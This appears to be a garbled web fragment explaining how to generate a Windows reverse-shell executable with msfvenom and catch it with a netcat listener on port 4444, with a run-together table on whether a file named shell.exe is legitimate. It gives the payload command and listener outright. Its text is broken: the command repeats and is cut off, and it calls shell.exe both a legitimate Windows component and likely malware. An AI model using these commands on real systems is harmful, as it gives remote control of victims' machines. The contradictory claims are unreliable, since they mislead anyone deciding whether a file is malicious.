msfvenom -p windows/shell/reverse_tcp LHOST= LPORT= -f exe > shell.exe How it works : The IP address of the attacker's machine. LPORT : The port the attacker is listening on (e.g., 4444).
In many cases, a file named shell.exe is a legitimate part of the Windows operating system. It is often associated with malware or "potentially unwanted programs" (PUPs). shell.exe
Before the file is executed on the target, the attacker must be "listening" for the connection: nc -lvnp 4444 (using Netcat). 💡 Summary Comparison Legitimacy System operation (rare) Likely Malware Startup Folder Auto-starting a program Highly Suspicious Lab/Testing Remote connection test Educational/Authorized msfvenom -p windows/shell/reverse_tcp LHOST= LPORT= -f exe >